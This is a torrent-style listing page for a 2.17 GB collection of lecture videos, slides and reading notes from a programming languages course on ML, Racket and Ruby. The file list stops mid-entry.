Programming Languages

mp4   Hot:349   Size:2.17 GB   Created:2017-09-14 21:24:23   Update:2021-12-13 16:45:50  

Download link

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "9 - Section 7/20 - Video (MP4) for Optional_ Dynamic Dispatch Manually in Racket (15_56).mp4", "length": 27376643}, {"path": "10 - Section 8/5 - Video (MP4) for Double Dispatch (14_46).mp4", "length": 24012283}, {"path": "8 - Section 6/7 - Video (MP4) for What Your Interpreter Can and Cannot Assume (13_47).mp4", "length": 23122992}, {"path": "8 - Section 6/3 - Video (MP4) for Datatype-Programming in Racket Without Structs (13_21).mp4", "length": 21710870}, {"path": "3 - Section 2/13 - Video (MP4) for Each of Pattern Matching _ Truth About Functions (14_30).mp4", "length": 21333292}, {"path": "2 - Section 1/4 - Video (MP4) for ML Variable Bindings and Expressions (14_32).mp4", "length": 21056037}, {"path": "10 - Section 8/2 - Video (MP4) for OOP Versus Functional Decomposition (12_51).mp4", "length": 20286938}, {"path": "8 - Section 6/17 - Video (MP4) for Static Versus Dynamic Typing, Part Two (13_47).mp4", "length": 20154388}, {"path": "9 - Section 7/4 - Video (MP4) for Object State (13_14).mp4", "length": 19821836}, {"path": "2 - Section 1/6 - Video (MP4) for The REPL and Errors (12_10).mp4", "length": 19404097}, {"path": "7 - Section 5/9 - Video (MP4) for Local Bindings (13_11).mp4", "length": 19398523}, {"path": "4 - Section 3/23 - Video (MP4) for Optional_ Java Without Closures (12_08).mp4", "length": 18936804}, {"path": "9 - Section 7/3 - Video (MP4) for Classes and Objects (12_37).mp4", "length": 18757664}, {"path": "10 - Section 8/8 - Video (MP4) for Mixins (11_52).mp4", "length": 18690123}, {"path": "9 - Section 7/6 - Video (MP4) for A Longer Example (12_19).mp4", "length": 18657497}, {"path": "5 - Optional_ Course Motivation/5 - Video (MP4) for Optional_ Why ML, Racket, and Ruby_ (12_34).mp4", "length": 18512808}, {"path": "10 - Section 8/15 - Video (MP4) for Function Subtyping (11_17).mp4", "length": 18301733}, {"path": "10 - Section 8/16 - Video (MP4) for Subtyping for OOP (11_44).mp4", "length": 18172675}, {"path": "10 - Section 8/3 - Video (MP4) for Adding Operations or Variants (11_08).mp4", "length": 18157314}, {"path": "9 - Section 7/18 - Video (MP4) for Method-Lookup Rules, Precisely (11_31).mp4", "length": 17769290}, {"path": "2 - Section 1/2 - Video (MP4) for Course Introduction_ About the Course (12_34).mp4", "length": 17709950}, {"path": "6 - Section 4/12 - Video (MP4) for Signatures for Our Example (11_03).mp4", "length": 17512314}, {"path": "4 - Section 3/11 - Video (MP4) for Why Lexical Scope (11_44).mp4", "length": 17507623}, {"path": "4 - Section 3/13 - Video (MP4) for Fold and More Closures (11_28).mp4", "length": 17448865}, {"path": "4 - Section 3/21 - Video (MP4) for Optional_ Abstract Data Types With Closures (11_14).mp4", "length": 17437226}, {"path": "4 - Section 3/24 - Video (MP4) for Optional_ C Without Closures (10_56).mp4", "length": 17358235}, {"path": "9 - Section 7/17 - Video (MP4) for Overriding and Dynamic Dispatch (10_56).mp4", "length": 17310127}, {"path": "9 - Section 7/11 - Video (MP4) for Blocks (11_34).mp4", "length": 17211862}, {"path": "3 - Section 2/7 - Video (MP4) for Useful Datatypes (11_22).mp4", "length": 16942843}, {"path": "6 - Section 4/11 - Video (MP4) for A Module Example (11_06).mp4", "length": 16914798}, {"path": "2 - Section 1/3 - Video (MP4) for Course Introduction_ About Programming Languages (12_04).mp4", "length": 16855934}, {"path": "9 - Section 7/10 - Video (MP4) for Arrays (11_13).mp4", "length": 16698625}, {"path": "7 - Section 5/6 - Video (MP4) for Parentheses Matter! (Debugging Practice) (10_50).mp4", "length": 16592813}, {"path": "3 - Section 2/6 - Video (MP4) for Case Expressions (10_50).mp4", "length": 16560012}, {"path": "7 - Section 5/14 - Video (MP4) for Delayed Evaluation and Thunks (10_12).mp4", "length": 16512350}, {"path": "2 - Section 1/12 - Video (MP4) for List Functions (11_21).mp4", "length": 16425987}, {"path": "10 - Section 8/7 - Video (MP4) for Multiple Inheritance (10_18).mp4", "length": 16412675}, {"path": "7 - Section 5/18 - Video (MP4) for Defining Streams (10_49).mp4", "length": 16388549}, {"path": "10 - Section 8/11 - Video (MP4) for Subtyping From the Beginning (10_43).mp4", "length": 16251286}, {"path": "7 - Section 5/23 - Video (MP4) for Optional_ Variables, Macros, and Hygiene (10_52).mp4", "length": 16200559}, {"path": "3 - Section 2/16 - Video (MP4) for Nested Patterns (10_32).mp4", "length": 16158943}, {"path": "7 - Section 5/19 - Video (MP4) for Memoization (10_17).mp4", "length": 16076581}, {"path": "7 - Section 5/17 - Video (MP4) for Using Streams (10_10).mp4", "length": 16015149}, {"path": "5 - Optional_ Course Motivation/4 - Video (MP4) for Optional_ Why Functional Languages_ (11_15).mp4", "length": 15949582}, {"path": "2 - Section 1/11 - Video (MP4) for Introducing Lists (10_34).mp4", "length": 15877741}, {"path": "8 - Section 6/13 - Video (MP4) for What is Static Checking_ (10_00).mp4", "length": 15837136}, {"path": "4 - Section 3/16 - Video (MP4) for Partial Application (9_41).mp4", "length": 15686522}, {"path": "6 - Section 4/6 - Video (MP4) for Polymorphic Examples (10_52).mp4", "length": 15590705}, {"path": "2 - Section 1/15 - Video (MP4) for Let and Efficiency (10_10).mp4", "length": 15524981}, {"path": "4 - Section 3/15 - Video (MP4) for Closure Idiom_ Currying (10_32).mp4", "length": 15521831}, {"path": "9 - Section 7/15 - Video (MP4) for Subclassing (10_11).mp4", "length": 15497138}, {"path": "5 - Optional_ Course Motivation/2 - Video (MP4) for Optional_ Why Study General PL Concepts_ (10_30).mp4", "length": 15290375}, {"path": "9 - Section 7/19 - Video (MP4) for Dynamic Dispatch Versus Closures (9_38).mp4", "length": 15250735}, {"path": "8 - Section 6/4 - Video (MP4) for Datatype-Programming in Racket With Structs (9_34).mp4", "length": 15207995}, {"path": "3 - Section 2/17 - Video (MP4) for More Nested Patterns (10_43).mp4", "length": 15120768}, {"path": "8 - Section 6/14 - Video (MP4) for Soundness and Completeness (9_46).mp4", "length": 15088850}, {"path": "8 - Section 6/6 - Video (MP4) for Implementing Programming Languages (10_07).mp4", "length": 15022594}, {"path": "6 - Section 4/7 - Video (MP4) for Optional_ The Value Restriction and Other Type-Inference Challenges (9_53).mp4", "length": 14971962}, {"path": "6 - Section 4/5 - Video (MP4) for Type Inference Examples (10_27).mp4", "length": 14915320}, {"path": "11 - Course Wrapup/1 - Video (MP4) for Optional_ Course Content Wrapup (9_43).mp4", "length": 14897762}, {"path": "6 - Section 4/18 - Video (MP4) for Standard Equivalences (10_01).mp4", "length": 14896415}, {"path": "6 - Section 4/8 - Video (MP4) for Mutual Recursion (9_45).mp4", "length": 14864952}, {"path": "7 - Section 5/22 - Video (MP4) for Optional_ Racket Macros With define-syntax (9_25).mp4", "length": 14829936}, {"path": "7 - Section 5/7 - Video (MP4) for Dynamic Typing (9_36).mp4", "length": 14754880}, {"path": "9 - Section 7/2 - Video (MP4) for Introduction to Ruby (10_08).mp4", "length": 14751078}, {"path": "6 - Section 4/15 - Video (MP4) for Another Equivalent Structure (9_01).mp4", "length": 14670417}, {"path": "8 - Section 6/16 - Video (MP4) for Static Versus Dynamic Typing, Part One (9_40).mp4", "length": 14659925}, {"path": "8 - Section 6/11 - Video (MP4) for Racket Functions As \u201cMacros\u201d For Interpreted Language (9_15).mp4", "length": 14633327}, {"path": "10 - Section 8/14 - Video (MP4) for Optional_ Java_C# Arrays (9_11).mp4", "length": 14590836}, {"path": "7 - Section 5/3 - Video (MP4) for Racket Definitions, Functions, Conditionals (10_14).mp4", "length": 14550925}, {"path": "8 - Section 6/15 - Video (MP4) for Weak Typing (9_39).mp4", "length": 14411676}, {"path": "7 - Section 5/16 - Video (MP4) for Delay and Force (9_18).mp4", "length": 14261554}, {"path": "7 - Section 5/24 - Video (MP4) for Optional_ More Macros Examples (9_12).mp4", "length": 14255446}, {"path": "3 - Section 2/21 - Video (MP4) for Tail Recursion (9_44).mp4", "length": 14240368}, {"path": "11 - Course Wrapup/2 - Video (MP4) for Optional_ MOOC Wrapup (9_39).mp4", "length": 13861538}, {"path": "4 - Section 3/14 - Video (MP4) for Closure Idiom_ Combining Functions (9_18).mp4", "length": 13827250}, {"path": "9 - Section 7/14 - Video (MP4) for Hashes and Ranges (8_59).mp4", "length": 13719006}, {"path": "4 - Section 3/5 - Video (MP4) for Anonymous Functions (9_17).mp4", "length": 13701506}, {"path": "8 - Section 6/10 - Video (MP4) for Optional_ Are Closures Efficient_ (9_03).mp4", "length": 13699881}, {"path": "2 - Section 1/16 - Video (MP4) for Options (9_09).mp4", "length": 13693169}, {"path": "8 - Section 6/12 - Video (MP4) for ML Versus Racket (8_53).mp4", "length": 13627949}, {"path": "10 - Section 8/13 - Video (MP4) for Depth Subtyping (8_50).mp4", "length": 13580330}, {"path": "4 - Section 3/3 - Video (MP4) for Functions as Arguments (8_40).mp4", "length": 13519856}, {"path": "10 - Section 8/10 - Video (MP4) for Optional_ Abstract Methods (8_51).mp4", "length": 13453876}, {"path": "4 - Section 3/8 - Video (MP4) for Generalizing Prior Topics (9_01).mp4", "length": 13450628}, {"path": "2 - Section 1/9 - Video (MP4) for Functions Formally (8_56).mp4", "length": 13434460}, {"path": "9 - Section 7/7 - Video (MP4) for Everything is an Object (8_15).mp4", "length": 13407380}, {"path": "7 - Section 5/8 - Video (MP4) for Cond (8_52).mp4", "length": 13239853}, {"path": "2 - Section 1/10 - Video (MP4) for Pairs and Other Tuples (9_16).mp4", "length": 13209743}, {"path": "3 - Section 2/5 - Video (MP4) for Datatype Bindings (8_39).mp4", "length": 13208239}, {"path": "3 - Section 2/11 - Video (MP4) for Lists and Options are Datatypes (9_10).mp4", "length": 13207093}, {"path": "7 - Section 5/4 - Video (MP4) for Racket Lists (9_07).mp4", "length": 13157626}, {"path": "10 - Section 8/12 - Video (MP4) for The Subtype Relation (8_20).mp4", "length": 13069588}, {"path": "10 - Section 8/17 - Video (MP4) for Generics Versus Subtyping (8_16).mp4", "length": 12962679}, {"path": "2 - Section 1/5 - Video (MP4) for Rules for Expressions (9_13).mp4", "length": 12927199}, {"path": "7 - Section 5/20 - Video (MP4) for Macros_ The Key Points (8_52).mp4", "length": 12914228}, {"path": "6 - Section 4/17 - Video (MP4) for Equivalent Functions (8_41).mp4", "length": 12898213}, {"path": "9 - Section 7/5 - Video (MP4) for Visibility (8_39).mp4", "length": 12837490}, {"path": "7 - Section 5/2 - Video (MP4) for Introduction to Racket (8_23).mp4", "length": 12791870}, {"path": "7 - Section 5/5 - Video (MP4) for Syntax and Parentheses (8_36).mp4", "length": 12784928}, {"path": "4 - Section 3/19 - Video (MP4) for Closure Idiom_ Callbacks (8_25).mp4", "length": 12771102}, {"path": "4 - Section 3/7 - Video (MP4) for Map and Filter (8_56).mp4", "length": 12623154}, {"path": "7 - Section 5/11 - Video (MP4) for Mutation with set! (8_28).mp4", "length": 12614459}, {"path": "3 - Section 2/12 - Video (MP4) for Polymorphic Datatypes (8_11).mp4", "length": 12572797}, {"path": "8 - Section 6/5 - Video (MP4) for Advantages of Structs (8_13).mp4", "length": 12512521}, {"path": "3 - Section 2/9 - Video (MP4) for Another Expression Example (8_01).mp4", "length": 12498797}, {"path": "10 - Section 8/18 - Video (MP4) for Bounded Polymorphism (8_05).mp4", "length": 12497731}, {"path": "8 - Section 6/18 - Video (MP4) for Optional_ eval and quote (7_58).mp4", "length": 12429928}, {"path": "3 - Section 2/3 - Video (MP4) for Records (8_25).mp4", "length": 12289271}, {"path": "4 - Section 3/4 - Video (MP4) for Polymorphic Types and Functions as Arguments (7_57).mp4", "length": 12073862}, {"path": "10 - Section 8/4 - Video (MP4) for Binary Methods with Functional Decomposition (7_18).mp4", "length": 12072580}, {"path": "4 - Section 3/18 - Video (MP4) for Mutable References (8_07).mp4", "length": 12045993}, {"path": "9 - Section 7/8 - Video (MP4) for Class Definitions are Dynamic (7_42).mp4", "length": 12040135}, {"path": "3 - Section 2/15 - Video (MP4) for Polymorphic and Equality Types (8_00).mp4", "length": 11968255}, {"path": "7 - Section 5/12 - Video (MP4) for The Truth About Cons (7_46).mp4", "length": 11871128}, {"path": "3 - Section 2/20 - Video (MP4) for Exceptions (7_47).mp4", "length": 11838293}, {"path": "4 - Section 3/2 - Video (MP4) for Introduction to First-Class Functions (7_50).mp4", "length": 11649618}, {"path": "4 - Section 3/20 - Video (MP4) for Standard-Library Documentation (7_00).mp4", "length": 11521619}, {"path": "10 - Section 8/9 - Video (MP4) for Interfaces (7_33).mp4", "length": 11481194}, {"path": "9 - Section 7/9 - Video (MP4) for Duck Typing (7_28).mp4", "length": 11462709}, {"path": "2 - Section 1/18 - Video (MP4) for Benefits of No Mutation (7_24).mp4", "length": 11373959}, {"path": "2 - Section 1/14 - Video (MP4) for Nested Functions (7_38).mp4", "length": 11299395}, {"path": "7 - Section 5/13 - Video (MP4) for mcons For Mutable Pairs (7_38).mp4", "length": 11173287}, {"path": "2 - Section 1/13 - Video (MP4) for Let Expressions (7_51).mp4", "length": 11152874}, {"path": "4 - Section 3/10 - Video (MP4) for Lexical Scope and Higher-Order Functions (7_37).mp4", "length": 11149232}, {"path": "3 - Section 2/22 - Video (MP4) for Accumulators for Tail Recursion (7_39).mp4", "length": 11079951}, {"path": "4 - Section 3/9 - Video (MP4) for Lexical Scope (7_22).mp4", "length": 11067319}, {"path": "9 - Section 7/16 - Video (MP4) for Why Use Subclassing_ (7_16).mp4", "length": 10987530}, {"path": "7 - Section 5/21 - Video (MP4) for Optional_ Tokenization, Parenthesization, and Scope (7_30).mp4", "length": 10955766}, {"path": "2 - Section 1/8 - Video (MP4) for Functions Informally (7_37).mp4", "length": 10867984}, {"path": "6 - Section 4/10 - Video (MP4) for Signatures and Hiding Things (7_02).mp4", "length": 10752745}, {"path": "7 - Section 5/15 - Video (MP4) for Avoiding Unnecessary Computations (6_48).mp4", "length": 10737517}, {"path": "9 - Section 7/13 - Video (MP4) for Procs (7_08).mp4", "length": 10671644}, {"path": "2 - Section 1/17 - Video (MP4) for Booleans and Comparison Operations (7_00).mp4", "length": 10491971}, {"path": "6 - Section 4/14 - Video (MP4) for An Equivalent Structure (6_38).mp4", "length": 10413679}, {"path": "4 - Section 3/17 - Video (MP4) for Currying Wrapup (6_40).mp4", "length": 10364336}, {"path": "4 - Section 3/12 - Video (MP4) for Closures and Recomputation (6_30).mp4", "length": 10328425}, {"path": "3 - Section 2/14 - Video (MP4) for A Little Type Inference (6_28).mp4", "length": 10264876}, {"path": "3 - Section 2/18 - Video (MP4) for Nested Patterns Precisely (6_35).mp4", "length": 10059935}, {"path": "5 - Optional_ Course Motivation/3 - Video (MP4) for Optional_ Are All PLs the Same_ (6_51).mp4", "length": 10056308}, {"path": "8 - Section 6/9 - Video (MP4) for Implementing Closures (6_32).mp4", "length": 10015645}, {"path": "10 - Section 8/6 - Video (MP4) for Optional_ Multimethods (6_36).mp4", "length": 9911585}, {"path": "3 - Section 2/10 - Video (MP4) for Type Synonyms (6_19).mp4", "length": 9847577}, {"path": "6 - Section 4/9 - Video (MP4) for Modules for Namespace Management (6_25).mp4", "length": 9810504}, {"path": "2 - Section 1/7 - Video (MP4) for Shadowing (6_49).mp4", "length": 9593057}, {"path": "8 - Section 6/8 - Video (MP4) for Implementing Variables and Environments (6_29).mp4", "length": 9575410}, {"path": "9 - Section 7/12 - Video (MP4) for Using Blocks (6_24).mp4", "length": 9565926}, {"path": "6 - Section 4/19 - Video (MP4) for Equivalence Versus Performance (6_00).mp4", "length": 9237168}, {"path": "2 - Section 1/20 - Video (MP4) for Pieces of a Language (6_02).mp4", "length": 9217572}, {"path": "3 - Section 2/4 - Video (MP4) for Tuples as Syntactic Sugar (6_06).mp4", "length": 9140506}, {"path": "6 - Section 4/4 - Video (MP4) for ML Type Inference (6_09).mp4", "length": 9140451}, {"path": "5 - Optional_ Course Motivation/1 - Video (MP4) for Optional_ Course-Motivation Introduction (5_56).mp4", "length": 8562935}, {"path": "6 - Section 4/3 - Video (MP4) for What is Type Inference (5_37).mp4", "length": 8319895}, {"path": "3 - Section 2/2 - Video (MP4) for Building Compound Types (5_34).mp4", "length": 8265661}, {"path": "11 - Course Wrapup/3 - Video (MP4) for Optional_ Meet the TAs (2_00).mp4", "length": 8210814}, {"path": "3 - Section 2/23 - Video (MP4) for Perspective on Tail Recursion (5_33).mp4", "length": 8154899}, {"path": "2 - Section 1/19 - Video (MP4) for Optional_ Java Mutation (4_44).mp4", "length": 7553694}, {"path": "4 - Section 3/6 - Video (MP4) for Unnecessary Function Wrapping (5_05).mp4", "length": 7356610}, {"path": "7 - Section 5/10 - Video (MP4) for Toplevel Bindings (4_54).mp4", "length": 7303279}, {"path": "4 - Section 3/22 - Video (MP4) for Optional_ Closure Idioms Without Closures (4_48).mp4", "length": 7257552}, {"path": "1 - Software Installation Videos/4 - Video (MP4) for SML Mode installation (3_52).mp4", "length": 6763457}, {"path": "3 - Section 2/8 - Video (MP4) for Pattern Matching So Far (4_37).mp4", "length": 6582494}, {"path": "6 - Section 4/13 - Video (MP4) for Signature Matching (4_03).mp4", "length": 6371430}, {"path": "6 - Section 4/16 - Video (MP4) for Different Modules Define Different Types (3_32).mp4", "length": 5831632}, {"path": "3 - Section 2/19 - Video (MP4) for Optional_ Function Patterns (3_40).mp4", "length": 5683535}, {"path": "1 - Software Installation Videos/2 - Video (MP4) for Emacs installation (2_27).mp4", "length": 5111831}, {"path": "1 - Software Installation Videos/3 - Video (MP4) for SML installation (1_47).mp4", "length": 3529238}, {"path": "8 - Section 6/2 - Video (MP4) for Section Introduction (2_08).mp4", "length": 3175124}, {"path": "6 - Section 4/2 - Video (MP4) for Section Introduction (1_45).mp4", "length": 2443146}, {"path": "1 - Software Installation Videos/1 - Video (MP4) for Installation Introduction (1_22).mp4", "length": 2089180}, {"path": "10 - Section 8/1 - Video (MP4) for Section 8 Reading Notes.mp4", "length": 721763}, {"path": "3 - Section 2/1 - Video (MP4) for Section 2 Reading Notes.mp4", "length": 721763}, {"path": "4 - Section 3/1 - Video (MP4) for Section 3 Reading Notes.mp4", "length": 721763}, {"path": "8 - Section 6/1 - Video (MP4) for Section 6 Reading Notes.mp4", "length": 721763}, {"path": "2 - Section 1/1 - Video (MP4) for Section 1 Reading Notes.mp4", "length": 721763}, {"path": "7 - Section 5/1 - Video (MP4) for Section 5 Reading Notes.mp4", "length": 721763}, {"path": "6 - Section 4/1 - Video (MP4) for Section 4 Reading Notes.mp4", "length": 721763}, {"path": "9 - Section 7/1 - Video (MP4) for Section 7 Reading Notes.mp4", "length": 721763}, {"path": "2 - Section 1/2 - slides for Course Introduction_ About the Course (12_34).pptx", "length": 442679}, {"path": "2 - Section 1/2 - slides (pdf) for Course Introduction_ About the Course (12_34).pdf", "length": 424089}, {"path": "10 - Section 8/1 - reading notes for Section 8 Reading Notes.pdf", "length": 252202}, {"path": "3 - Section 2/1 - reading notes for Section 2 Reading Notes.pdf", "length": 250041}, {"path": "9 - Section 7/1 - reading notes for Section 7 Reading Notes.pdf", "length": 245956}, {"path": "8 - Section 6/1 - reading notes for Section 6 Reading Notes.pdf", "length": 243726}, {"path": "2 - Section 1/15 - slides-pdf for Let and Efficiency (10_10).pdf", "length": 235293}, {"path": "4 - Section 3/1 - reading notes for Section 3 Reading Notes.pdf", "length": 230491}, {"path": "2 - Section 1/1 - reading notes for Section 1 Reading Notes.pdf", "length": 226942}, {"path": "6 - Section 4/1 - reading notes for Section 4 Reading Notes.pdf", "length": 224121}, {"path": "7 - Section 5/1 - reading notes for Section 5 Reading Notes.pdf", "length": 213188}, {"path": "9 - Section 7/17 - slides-pdf for Overriding and Dynamic Dispatch (10_56).pdf", "length": 209674}, {"path": "10 - Section 8/13 - slides-pdf for Depth Subtyping (8_50).pdf", "length": 204286}, {"path": "7 - Section 5/11 - slides-pdf for Mutation with set! (8_28).pdf", "length": 188212}, {"path": "6 - Section 4/10 - slides-pdf for Signatures and Hiding Things (7_02).pdf", "length": 174586}, {"path": "3 - Section 2/5 - slides-pdf for Datatype Bindings (8_39).pdf", "length": 167697}, {"path": "7 - Section 5/21 - slides-pdf for Optional_ Tokenization, Parenthesization, and Scope (7_30).pdf", "length": 167027}, {"path": "7 - Section 5/17 - slides-pdf for Using Streams (10_10).pdf", "length": 166319}, {"path": "4 - Section 3/7 - slides-pdf for Map and Filter (8_56).pdf", "length": 154333}, {"path": "7 - Section 5/8 - slides-pdf for Cond (8_52).pdf", "length": 152415}, {"path": "9 - Section 7/20 - slides-pdf for Optional_ Dynamic Dispatch Manually in Racket (15_56).pdf", "length": 147720}, {"path": "2 - Section 1/18 - slides-pdf for Benefits of No Mutation (7_24).pdf", "length": 143623}, {"path": "3 - Section 2/13 - slides-pdf for Each of Pattern Matching _ Truth About Functions (14_30).pdf", "length": 139186}, {"path": "9 - Section 7/20 - slides for Optional_ Dynamic Dispatch Manually in Racket (15_56).pptx", "length": 134545}, {"path": "10 - Section 8/15 - slides-pdf for Function Subtyping (11_17).pdf", "length": 133972}, {"path": "8 - Section 6/6 - slides-pdf for Implementing Programming Languages (10_07).pdf", "length": 133834}, {"path": "8 - Section 6/12 - slides-pdf for ML Versus Racket (8_53).pdf", "length": 132810}, {"path": "2 - Section 1/13 - slides-pdf for Let Expressions (7_51).pdf", "length": 132711}, {"path": "3 - Section 2/13 - slides for Each of Pattern Matching _ Truth About Functions (14_30).pptx", "length": 131238}, {"path": "9 - Section 7/12 - slides-pdf for Using Blocks (6_24).pdf", "length": 130529}, {"path": "8 - Section 6/16 - slides for Static Versus Dynamic Typing, Part One (9_40).pptx", "length": 129571}, {"path": "2 - Section 1/5 - slides-pdf for Rules for Expressions (9_13).pdf", "length": 129518}, {"path": "2 - Section 1/9 - slides-pdf for Functions Formally (8_56).pdf", "length": 129493}, {"path": "2 - Section 1/19 - slides-pdf for Optional_ Java Mutation (4_44).pdf", "length": 129050}, {"path": "4 - Section 3/22 - slides-pdf for Optional_ Closure Idioms Without Closures (4_48).pdf", "length": 128356}, {"path": "8 - Section 6/6 - slides for Implementing Programming Languages (10_07).pptx", "length": 126646}, {"path": "3 - Section 2/21 - slides-pdf for Tail Recursion (9_44).pdf", "length": 126050}, {"path": "6 - Section 4/18 - slides for Standard Equivalences (10_01).pptx", "length": 125852}, {"path": "10 - Section 8/5 - slides-pdf for Double Dispatch (14_46).pdf", "length": 124893}, {"path": "8 - Section 6/18 - slides-pdf for Optional_ eval and quote (7_58).pdf", "length": 124705}, {"path": "10 - Section 8/15 - slides for Function Subtyping (11_17).pptx", "length": 124681}, {"path": "2 - Section 1/15 - slides for Let and Efficiency (10_10).pptx", "length": 124378}, {"path": "6 - Section 4/7 - slides for Optional_ The Value Restriction and Other Type-Inference Challenges (9_53).pptx", "length": 124326}, {"path": "2 - Section 1/4 - slides-pdf for ML Variable Bindings and Expressions (14_32).pdf", "length": 124322}, {"path": "10 - Section 8/5 - slides for Double Dispatch (14_46).pptx", "length": 124049}, {"path": "7 - Section 5/23 - slides for Optional_ Variables, Macros, and Hygiene (10_52).pptx", "length": 123860}, {"path": "10 - Section 8/7 - slides-pdf for Multiple Inheritance (10_18).pdf", "length": 123642}, {"path": "4 - Section 3/23 - slides for Optional_ Java Without Closures (12_08).pptx", "length": 123358}, {"path": "8 - Section 6/13 - slides-pdf for What is Static Checking_ (10_00).pdf", "length": 123140}, {"path": "4 - Section 3/16 - slides-pdf for Partial Application (9_41).pdf", "length": 123043}, {"path": "6 - Section 4/12 - slides for Signatures for Our Example (11_03).pptx", "length": 122531}, {"path": "8 - Section 6/17 - slides-pdf for Static Versus Dynamic Typing, Part Two (13_47).pdf", "length": 122325}, {"path": "7 - Section 5/22 - slides-pdf for Optional_ Racket Macros With define-syntax (9_25).pdf", "length": 122160}, {"path": "8 - Section 6/17 - slides for Static Versus Dynamic Typing, Part Two (13_47).pptx", "length": 122138}, {"path": "6 - Section 4/7 - slides-pdf for Optional_ The Value Restriction and Other Type-Inference Challenges (9_53).pdf", "length": 122118}, {"path": "8 - Section 6/3 - slides for Datatype-Programming in Racket Without Structs (13_21).pptx", "length": 122100}, {"path": "3 - Section 2/21 - slides for Tail Recursion (9_44).pptx", "length": 122006}, {"path": "10 - Section 8/11 - slides for Subtyping From the Beginning (10_43).pptx", "length": 121625}, {"path": "2 - Section 1/18 - slides for Benefits of No Mutation (7_24).pptx", "length": 121579}, {"path": "4 - Section 3/23 - slides-pdf for Optional_ Java Without Closures (12_08).pdf", "length": 121347}, {"path": "7 - Section 5/22 - slides for Optional_ Racket Macros With define-syntax (9_25).pptx", "length": 121243}, {"path": "2 - Section 1/5 - slides for Rules for Expressions (9_13).pptx", "length": 120995}, {"path": "2 - Section 1/10 - slides-pdf for Pairs and Other Tuples (9_16).pdf", "length": 120916}, {"path": "10 - Section 8/18 - slides-pdf for Bounded Polymorphism (8_05).pdf", "length": 120644}, {"path": "8 - Section 6/4 - slides for Datatype-Programming in Racket With Structs (9_34).pptx", "length": 120351}, {"path": "10 - Section 8/18 - slides for Bounded Polymorphism (8_05).pptx", "length": 119737}, {"path": "4 - Section 3/15 - slides for Closure Idiom_ Currying (10_32).pptx", "length": 119486}, {"path": "6 - Section 4/12 - slides-pdf for Signatures for Our Example (11_03).pdf", "length": 119483}, {"path": "9 - Section 7/5 - slides for Visibility (8_39).pptx", "length": 119449}, {"path": "7 - Section 5/9 - slides for Local Bindings (13_11).pptx", "length": 119287}, {"path": "4 - Section 3/14 - slides for Closure Idiom_ Combining Functions (9_18).pptx", "length": 119154}, {"path": "10 - Section 8/2 - slides for OOP Versus Functional Decomposition (12_51).pptx", "length": 119109}, {"path": "6 - Section 4/9 - slides-pdf for Modules for Namespace Management (6_25).pdf", "length": 118856}, {"path": "8 - Section 6/3 - slides-pdf for Datatype-Programming in Racket Without Structs (13_21).pdf", "length": 118445}, {"path": "2 - Section 1/10 - slides for Pairs and Other Tuples (9_16).pptx", "length": 118444}, {"path": "7 - Section 5/9 - slides-pdf for Local Bindings (13_11).pdf", "length": 118273}, {"path": "10 - Section 8/7 - slides for Multiple Inheritance (10_18).pptx", "length": 118144}, {"path": "3 - Section 2/7 - slides for Useful Datatypes (11_22).pptx", "length": 118109}, {"path": "10 - Section 8/11 - slides-pdf for Subtyping From the Beginning (10_43).pdf", "length": 117968}, {"path": "10 - Section 8/10 - slides for Optional_ Abstract Methods (8_51).pptx", "length": 117839}, {"path": "10 - Section 8/4 - slides for Binary Methods with Functional Decomposition (7_18).pptx", "length": 117773}, {"path": "8 - Section 6/16 - slides-pdf for Static Versus Dynamic Typing, Part One (9_40).pdf", "length": 117619}, {"path": "8 - Section 6/7 - slides for What Your Interpreter Can and Cannot Assume (13_47).pptx", "length": 117583}, {"path": "7 - Section 5/3 - slides for Racket Definitions, Functions, Conditionals (10_14).pptx", "length": 117577}, {"path": "7 - Section 5/21 - slides for Optional_ Tokenization, Parenthesization, and Scope (7_30).pptx", "length": 117487}, {"path": "10 - Section 8/17 - slides for Generics Versus Subtyping (8_16).pptx", "length": 117095}, {"path": "3 - Section 2/22 - slides for Accumulators for Tail Recursion (7_39).pptx", "length": 116899}, {"path": "8 - Section 6/5 - slides-pdf for Advantages of Structs (8_13).pdf", "length": 116807}, {"path": "8 - Section 6/5 - slides for Advantages of Structs (8_13).pptx", "length": 116746}, {"path": "6 - Section 4/17 - slides for Equivalent Functions (8_41).pptx", "length": 116606}, {"path": "6 - Section 4/10 - slides for Signatures and Hiding Things (7_02).pptx", "length": 116184}, {"path": "8 - Section 6/4 - slides-pdf for Datatype-Programming in Racket With Structs (9_34).pdf", "length": 116025}, {"path": "2 - Section 1/3 - slides for Course Introduction_ About Programming Languages (12_04).pptx", "length": 115847}, {"path": "3 - Section 2/15 - slides for Polymorphic and Equality Types (8_00).pptx", "length": 115753}, {"path": "10 - Section 8/2 - slides-pdf for OOP Versus Functional Decomposition (12_51).pdf", "length": 115717}, {"path": "10 - Section 8/10 - slides-pdf for Optional_ Abstract Methods (8_51).pdf", "length": 115711}, {"path": "5 - Optional_ Course Motivation/2 - slides for Optional_ Why Study General PL Concepts_ (10_30).pptx", "length": 115711}, {"path": "7 - Section 5/11 - slides for Mutation with set! (8_28).pptx", "length": 115688}, {"path": "10 - Section 8/17 - slides-pdf for Generics Versus Subtyping (8_16).pdf", "length": 115607}, {"path": "9 - Section 7/18 - slides for Method-Lookup Rules, Precisely (11_31).pptx", "length": 115574}, {"path": "4 - Section 3/10 - slides for Lexical Scope and Higher-Order Functions (7_37).pptx", "length": 115497}, {"path": "4 - Section 3/16 - slides for Partial Application (9_41).pptx", "length": 115318}, {"path": "9 - Section 7/18 - slides-pdf for Method-Lookup Rules, Precisely (11_31).pdf", "length": 115302}, {"path": "8 - Section 6/12 - slides for ML Versus Racket (8_53).pptx", "length": 115284}, {"path": "9 - Section 7/5 - slides-pdf for Visibility (8_39).pdf", "length": 115245}, {"path": "4 - Section 3/4 - slides for Polymorphic Types and Functions as Arguments (7_57).pptx", "length": 115148}, {"path": "4 - Section 3/11 - slides for Why Lexical Scope (11_44).pptx", "length": 115113}, {"path": "2 - Section 1/9 - slides for Functions Formally (8_56).pptx", "length": 114865}, {"path": "4 - Section 3/9 - slides for Lexical Scope (7_22).pptx", "length": 114782}, {"path": "10 - Section 8/9 - slides for Interfaces (7_33).pptx", "length": 114678}, {"path": "10 - Section 8/8 - slides for Mixins (11_52).pptx", "length": 114589}, {"path": "9 - Section 7/16 - slides for Why Use Subclassing_ (7_16).pptx", "length": 114509}, {"path": "10 - Section 8/3 - slides for Adding Operations or Variants (11_08).pptx", "length": 114466}, {"path": "10 - Section 8/16 - slides for Subtyping for OOP (11_44).pptx", "length": 114295}, {"path": "10 - Section 